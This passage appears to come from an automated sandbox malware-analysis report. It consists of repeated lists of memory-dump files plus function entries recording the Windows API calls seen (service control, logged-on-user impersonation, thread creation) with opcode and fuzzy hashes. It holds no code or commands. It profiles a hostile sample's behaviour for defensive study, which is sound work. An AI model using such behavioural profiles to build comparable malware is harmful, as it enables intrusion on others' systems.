Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 54af9405a08c1ee65b958dee1048b454b195c12ba2cc56e48171fb83f939b0cf
Instruction ID: 5a840b3e780fcc9f74b17796aa209f96d3a6692c845f569279f4d4614f07e239
Opcode Fuzzy Hash: 54af9405a08c1ee65b958dee1048b454b195c12ba2cc56e48171fb83f939b0cf
Instruction Fuzzy Hash: E83167B250C304EFD705BF19D8416BAFBE8EF54720F06482DE6C493210DB3658908B9B

Function 049A0D43 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 049A0DCD

Memory Dump Source

Source File: 00000006.00000002.2564298780.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49a0000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 167a9ffdbda13615063b403db1e13a0f37aba3edf8014bfba1c3d616a55a77f8
Instruction ID: 34591ddc5f064fdd61eb3c6f5095e08d942e90bd77e6d58312a2b932f55a5d8a
Opcode Fuzzy Hash: 167a9ffdbda13615063b403db1e13a0f37aba3edf8014bfba1c3d616a55a77f8
Instruction Fuzzy Hash: E92134B68003099FCB50CF99D884ADEFBF4EF88720F14852AE908AB205D774A551CBA4

Function 049A0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 049A0DCD

Memory Dump Source

Source File: 00000006.00000002.2564298780.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49a0000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: b601a05ba7473ed9e84e3c43070009301f38d5880080cea9937d0c633ff2be8a
Instruction ID: 82ac55628eb93d1613ef2c514a0322fb288e5272ce8383a39ad474c446da41e3
Opcode Fuzzy Hash: b601a05ba7473ed9e84e3c43070009301f38d5880080cea9937d0c633ff2be8a
Instruction Fuzzy Hash: 5D2104B68013199FCB50CF99D884ADEFBF4EF88720F14852AD908AB204D774A550CBA4

Function 049A1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 049A1580

Memory Dump Source

Source File: 00000006.00000002.2564298780.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49a0000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 627579cb1cc3f9fc6b13e523f314eb712a763129826b68f0d149d61e3c8ab2cf
Instruction ID: 8eb4fccdbcea3e2127645c210d49ce4182bf766f8e76d7a388504cb4ec259047
Opcode Fuzzy Hash: 627579cb1cc3f9fc6b13e523f314eb712a763129826b68f0d149d61e3c8ab2cf
Instruction Fuzzy Hash: B52103B19003499FDB10CF9AC585BDEFBF4EF48324F10842AE559A3240D778A654CFA5

Function 049A1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 049A1580

Memory Dump Source

Source File: 00000006.00000002.2564298780.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49a0000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: a54a20a2dce75c5bf95149c8ed37b7616a55166ffebb7bd36ebad9e6dd7bc16f
Instruction ID: 4486f2abbb50e57f889a6f3e92860958cdfbfd0df491ba9f513cbc300361f28b
Opcode Fuzzy Hash: a54a20a2dce75c5bf95149c8ed37b7616a55166ffebb7bd36ebad9e6dd7bc16f
Instruction Fuzzy Hash: 1711E4B19003499FDB10CF9AC585BDEFBF4EF48324F10842AE559A3250D778A654CFA5

Function 00B72B0C Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFileEx.KERNELBASE(?,?,?,?,?,?), ref: 00B72B93

Memory Dump Source

Source File: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 5a54cdea7579359cecc516887c55c3e8188fad6c667c1453602e707c46d008ee
Instruction ID: 02a15617092047e1e28821526dab5fb5bc8f4b9b568990fd71b2e9aa8c98931e
Opcode Fuzzy Hash: 5a54cdea7579359cecc516887c55c3e8188fad6c667c1453602e707c46d008ee
Instruction Fuzzy Hash: 7111DB3650024AFFCF12AFA4CD09D9E3BB6FF54340B008591FA2A55161C73AC4B2EB61

Function 00B728F4 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16f40bbbeaed90d63af757b22c72bdcfdd5f7f06e3b6edca0fed4fe8a2f69b84
Instruction ID: 8f02b100ee4cd7bf92dff7d5de7c2f87bd405d3f9de63fac2d997b46cae69f80
Opcode Fuzzy Hash: 16f40bbbeaed90d63af757b22c72bdcfdd5f7f06e3b6edca0fed4fe8a2f69b84
Instruction Fuzzy Hash: 0B111B3260020AFFDF16AFA4C909AAE7BF5FF44344F1884A5FA2956061C735CA61EB51

Function 049A1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 049A1367

Memory Dump Source

Source File: 00000006.00000002.2564298780.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49a0000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 21f1bebb065c6ffca2a18f1171f81cb640e42ff970809663ca85728912509380
Instruction ID: 3daaa1b46d3c79794753584b4b7e6a0bba26943a38f735261d82e362079bb0ca
Opcode Fuzzy Hash: 21f1bebb065c6ffca2a18f1171f81cb640e42ff970809663ca85728912509380
Instruction Fuzzy Hash: 721102B2900249CFDB10CF9AC585B9EBBF8EF48724F24846AD558A7240D778A944CBA5

Function 00B5B1B3 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000), ref: 00B5B23D

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 517a848943a555feedc64c81dfaff7b75f6b4e8f2ed6571f357c3247173134e5
Instruction ID: c3b0a513753c95b49e5e44462ca85c317614246ef54a03042962ccc31c82f3f6
Opcode Fuzzy Hash: 517a848943a555feedc64c81dfaff7b75f6b4e8f2ed6571f357c3247173134e5
Instruction Fuzzy Hash: 3D012BB62492156ED7118F644D86FAF7F69D781720F3440EAF9108F541D7624805EBB4

Function 049A1308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 049A1367

Memory Dump Source

Source File: 00000006.00000002.2564298780.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49a0000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 698d29168bdbe21fb546135b675ed6786220f0eaffdcf6a2f1c99c8f7b7f9a5a
Instruction ID: bb893f2eac25c29d3d4856ece572dc7698f25731db5c04d58a068cd1fa397f34
Opcode Fuzzy Hash: 698d29168bdbe21fb546135b675ed6786220f0eaffdcf6a2f1c99c8f7b7f9a5a
Instruction Fuzzy Hash: 321122B1800349CFDB10CF9AC545BDEBBF8AF48724F20842AD558A3240D778A944CBA5

Function 00B60235 Relevance: 1.5, APIs: 1, Instructions: 45threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00B6024C

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
